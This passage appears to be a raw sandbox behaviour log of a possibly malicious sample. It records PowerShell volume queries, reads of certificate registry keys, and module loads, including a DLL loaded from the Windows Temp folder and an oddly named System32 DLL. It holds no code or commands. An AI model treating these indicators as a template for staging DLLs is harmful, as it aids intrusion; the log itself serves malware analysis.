"C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00004260-00000C17-999972412 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00004260-00000C17-999983401 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00004260-00000C17-1000475002 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004260-00000C17-1001270470 "powershell.exe" queries volume information of "C:\share" at 00000000-00004260-00000C17-1001272111 "powershell.exe" queries volume information of "C:\share" at 00000000-00004260-00000C17-1001353982 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004260-00000C17-1002274896 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004260-00000C17-1002313160 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004260-00000C17-1002728186 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004260-00000C17-1002874580 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004260-00000C17-1002916127 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004260-00000C17-1002981245 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004260-00000C17-1003018409 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004260-00000C17-1003055282 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004260-00000C17-1003094285 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004524-00000C17-1009249036 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00004524-00000C17-1009373756 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00004524-00000C17-1010041456 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004524-00000C17-1010292100 "powershell.exe" queries volume information of "C:\share" at 00000000-00004524-00000C17-1010293685 "powershell.exe" queries volume information of "C:\share" at 00000000-00004524-00000C17-1010371545 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004524-00000C17-1011170104 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004524-00000C17-1011299996 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004524-00000C17-101134646436:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")37:T4616,"cmd.exe" loaded module "KERNEL32" at base 7ffd21550000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffd20b00000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffd20b00000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffd20b00000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffd23900000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffd20b00000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffd20b00000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffd20b00000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffcff4a0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ffd21550000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ffd23b10000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffd20b00000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffd20b00000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffd20b00000 "powershell.exe" loaded module "KERNEL32" at base 7ffd21550000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffcff4a0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffd21550000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffd23740000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffd079b0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffd21710000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffd1fef0000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffd181a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffcf1830000 "powershell.exe" loaded module "USER32.DLL" at base 7ffd213c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffd20b00000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffd12720000 "powershell.exe" loaded module "NTDLL" at base 7ffd23b10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffd23430000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffd23930000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffcf0230000 "powershell.exe" loaded module "OLE32.DLL" at base 7ffd219b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffd23430000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffd20fe0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffcef5c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffceeb40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffceea90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffd1f2a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffd20a80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffceca20000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffd23430000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffd23430000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffd23b10000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffd21660000 "powershell.exe" loaded module "SHELL32.DLL" at base 1d249930000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffd20f80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ffd20f80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffd1ff10000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffd07680000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffd181a0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffd075c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\XHXD7BBI.DLL" at base 7ffd04ae0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffcec980000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffcec810000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffcec6a0000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffd1ff10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffcebdf0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffceb480000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffcfca00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffceb110000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffd20b00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffceafc0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffcfe9a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffcfe8c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffcfe780000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffd0d410000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffd17f40000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffd1fd60000 "powershell.exe" loaded module "WLDP.DLL" at base 7ffd1ef90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffd1e4a0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffcf9540000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffd21550000 "powershell.exe" loaded module "USERENV.DLL" at base 7ffd1fd90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffd23740000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffd23430000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffd1f960000 "powershell.exe" loaded module "OLEAUT32" at base 7ffd20fe0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffcf9300000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.M870D558A#\5F64880C86C98E7DDECDF28E61917307\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.NI.DLL" at base 7ffcf9250000 "powershell.exe" loaded module "API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 7ffd20b00000 "powershell.exe" loaded module "MSVCRT.DLL" at base 7ffd21670000 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 7ffd169e0000 "powershell.exe" loaded module "MI.DLL" at base 7ffd18400000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 7ffd20b00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WMIDCOM.DLL" at base 7ffd18370000 "powershell.exe" loaded module "GDI32.DLL" at base 7ffd21f50000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ffd20b00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ffd164d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ffd16210000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ffd20b00000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ffd20b00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ffd147a0000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 7ffd21550000 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 7ffd20b00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffd11360000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffcecad0000 "powershell.exe" loaded module "SHELL32.DLL" at base 12c77120000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffd11340000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffd0d440000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffcfe970000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffcfe800000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffcf94b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffcec160000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffceb8b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffceb540000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffcfe7a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffcf9360000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffcfe730000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffceb400000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffcf9280000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffd02390000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffceb320000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffcea1a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffd0d410000 "powershell.exe" loaded module "RASAPI32.DLL" at base 7ffd144d0000 "powershell.exe" loaded module "RASMAN.DLL" at base 7ffd14490000 "powershell.exe" loaded module "WS2_32.DLL" at base 7ffd233c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffd1f690000 "powershell.exe" loaded module "WINHTTP.DLL" at base 7ffd1c6c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffd0bf90000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7ffd1f420000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffd18940000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffd18e80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ffd1f1e0000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 7ffd1e2f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ffd116f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7ffceb1b0000 "powershell.exe" loaded module "SHELL32.DLL" at base 1d9184f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffcf92b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffcebff0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffceb740000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffd0b040000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffd16b50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffceb660000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffceb520000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffd0d570000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffceb440000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffd16b20000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7ffceb2d0000 "powershell.exe" loaded module "SHELL32.DLL" at base 20b184c0000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffd16ba0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffd16b80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\XHXD7BBI.DLL" at base 7ffd16b30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffd0d520000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffd0b020000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffcfe8a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffcec220000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffceb8b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffd0d400000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffcfe750000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffcfc9f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffceb7d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffd04ae0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffceb690000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS 